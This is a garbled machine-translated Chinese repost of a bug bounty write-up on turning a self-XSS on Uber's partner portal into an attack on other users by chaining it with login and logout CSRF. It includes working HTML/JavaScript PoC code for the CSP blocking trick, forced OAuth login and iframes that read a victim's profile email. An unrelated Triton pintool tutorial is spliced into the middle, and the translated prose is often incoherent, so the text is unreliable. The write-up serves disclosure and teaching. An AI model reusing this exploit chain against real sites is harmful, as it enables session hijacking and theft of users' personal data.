Uber Bug Bounty:将self-XSS转变为good-XSS | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Uber Bug Bounty:将self-XSS转变为good-XSS

申博_安全防护 申博 69次浏览 未收录 0个评论

Uber Bug Bounty:将self-XSS转变为good-XSS

既然Uber bug赏金设计已公然宣布,我可以或许宣布一些我最喜欢的提交内容,这些内容在曩昔的一年里一向很想做。

在Uber的合作伙伴门户网站上,驱动顺序可以或许登录并更新其详细信息,我发明了一个异常简朴的典范XSS:将个中一个配置文件字段的值更改成

<script>alert(document.domain);</script>

致使代码被实行,并弹出一个正告框。

Uber Bug Bounty:将self-XSS转变为good-XSS

Uber Bug Bounty:将self-XSS转变为good-XSS

注册后,这须要消费两分钟的时候能力找到,但如今又来了。

Self-XSS

可以或许在另一个站点的高低文中实行分外的,恣意的JavaScript称为跨站点剧本(我假定99%的读者都晓得)。一般,你愿望针对其他用户实行此操纵,以便抽取会话中的cookie,提交XHR要求等。

如果您没法针对其他用户实行此操纵 – 比方,代码仅针对您的帐户实行,则称为Self-XSS。

在这类情况下,它似乎是我们发明的。你的个人资料的地点局部仅向您显现(例外情况多是内部Uber东西也显现地点,但这是另一个题目),我们没法更新其他用户的地点以强迫对其实行。

我老是想着是不是发送有潜力的bug(这个站点中的XSS破绽),以是让我们试着找出一种从bug中删除“self”局部的要领。

Uber OAuth登录流程

Uber运用的OAuth异常典范:

用户接见须要登录的Uber站点,比方

partners.uber.com

用户被重定向到受权服务器,

login.uber.com

用户输入凭证

用户被重定向回代码,然后可以或许交流接见cookie

partners.uber.com

Uber Bug Bounty:将self-XSS转变为good-XSS

如果您没有从上面的屏幕截图中看到OAuth回调,

/oauth/callback?code=...

不运用引荐的参数。这在登录功用中引入了CSRF破绽,能够会被视为重要题目。

state

另外,注销功用中存在CSRF破绽,这实际上不属于题目。

/logout

烧毁用户的会话,并实行重定向到雷同的注销功用。

partner.uber.com

login.uber.com

由于我们的payload仅在我们的帐户内可用,因而我们愿望将用户登录到我们的帐户,而帐户又将实行payload。然则,将它们登录到我们的帐户会

损坏它们的会话,这会损坏许多毛病的代价(不再能够对其帐户实行操纵)。因而,让我们将这三个小题目(self-XSS和两个CSRF)联络在一起。

有关OAuth安全性的更多信息,请检察@ homakov的出色指南。

链接中的bugs

我们的设计有三个局部:

Triton 学习 – pintool 篇

介绍 本节介绍 triton 中 pin 使用方式以及一些有意思的demo。pin 是一个二进制插桩工具,可以在程序运行时通过回调函数的机制监控程序的运行,可以用来做代码覆盖率,污点分析等。triton 为 pin 包装了一层 python 的接口,现在我们可以使用 python 来运行 pin, 非常的方便。 相关资源位于 https://gitee.com/hac425/data/tree/master/triton/learn 简单使用 下面以一个简单示例来看看如何在 Triton 里面使用 pin。 #!/usr/bin/env python2
## -*- coding: utf-8 -*-

from pintool import *
from triton import ARCH

count = 0
def mycb(inst):
global count
count += 1

def fini():
print(“Instruction count : “, count)

if __name__ == ‘__main__’:
ctx = getTritonContext()
ctx.enableSymbolicEngine(False)
ctx.enableTaintEngine(False)

# 从程序入口开始插桩
startAnalysisFromEntry()

# 在每条指令执行前调用 mycb
insertCall(mycb, INSERT_POINT.BEFORE)

# 程序运行完毕后的回调函数
insertCall(fini, INSERT_POINT.FINI)
runProgram() 这个脚本的作用是统计被测程序从 Entry 开始执行过的指令条数。

起首,将用户退出会话,但不纪录他们的会话。这可以或许确保我们可以或许将其纪录回帐户

partner.uber.com

login.uber.com

其次,将用户登录到我们的帐户,以便实行我们的payload

末了,纪录他们回到本身的帐户,而我们的代码仍然在运转,如许我们就可以或许接见他们的详细资料

起首:注销一个域名

我们起首要发出要求

https://partners.uber.com/logout/

以便我们可以或许将它们纪录到我们的帐户中。题目是向此端点发出requets致使302重定向到,这会损坏会话。我们没法阻拦每一个重定向并删除要求,由于浏览器会隐式跟踪这些。

https://login.uber.com/logout/

然则,我们可以或许做的一个技能是运用内容安全战略来界说许可加载哪些源(我愿望您可以或许看到运用旨在资助减缓此高低文中的XSS的功用的要领)。

我们将战略设置为仅许可要求

partners.uber.com

这将阻挠。

https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/">

这有用,如CSP违规毛病音讯所示:

Uber Bug Bounty:将self-XSS转变为good-XSS

第2步:登录我们的帐户

这个比较简朴。我们发出要求

https://partners.uber.com/login/

启动登录(这是必须的,不然应用顺序将不接收回调)。运用CSP技能我们阻挠流程完成,然后我们本身供应(可以或许经由过程登录我们本身的帐户取得),将其登录到我们的帐户。

code

由于CSP违规触发了

onerror

事宜处置惩罚顺序,这将用于跳转到下一步。

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
    //Initiate login so that we can redirect them
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //Redirect them to login with our code
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

第3步:切换回他们的帐户

这局部是将作为XSS的payload包罗的代码,存储在我们的帐户中。

一旦实行此有用负载,我们就可以或许切换回他们的帐户。这必须在iframe中 – 我们须要可以或许继承运转我们的代码。

//Create the iframe to log the user out of our account and back into theirs
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe的内容再次运用CSP技能:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
    //Log them into partners via their session on login.uber.com
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

末了一局部是建立另一个 iframe,因而我们可以或许猎取他们的一些数据。

//Wait a few seconds, then load the profile page, which is now *their* profile
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //Extract their email as PoC
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

由于我们的终究iframe是从与包罗我们的JS的Profile页面雷同的原点加载的

X-Frame-Options

设置为not,我们可以或许接见个中的内容(运用)

sameorigin

deny

contentWindow

Uber Bug Bounty:将self-XSS转变为good-XSS

总结

在连系一切步调后,我们有以下进击流程:

将步调3中的有用负载添加到我们的配置文件

登录我们的帐户,但作废回调并记下未运用的参数

    code

让用户接见我们从步调2建立的文件 - 这与您对或人实行reflect-XSS的体式格局相似

然后,用户将被注销,并登录到我们的帐户

将实行步调3中的payload

在隐蔽的iframe中,它们将从我们的帐户中注销

在另一个隐蔽的iframe中,他们将被登录到他们的帐户中

我们如今有一个iframe,在同一个泉源中包罗用户的会话

这是一个风趣的破绽,并证实值得锲而不舍地专研破绽能够比最后设想的更具影响力。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Uber Bug Bounty:将self-XSS转变为good-XSS
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址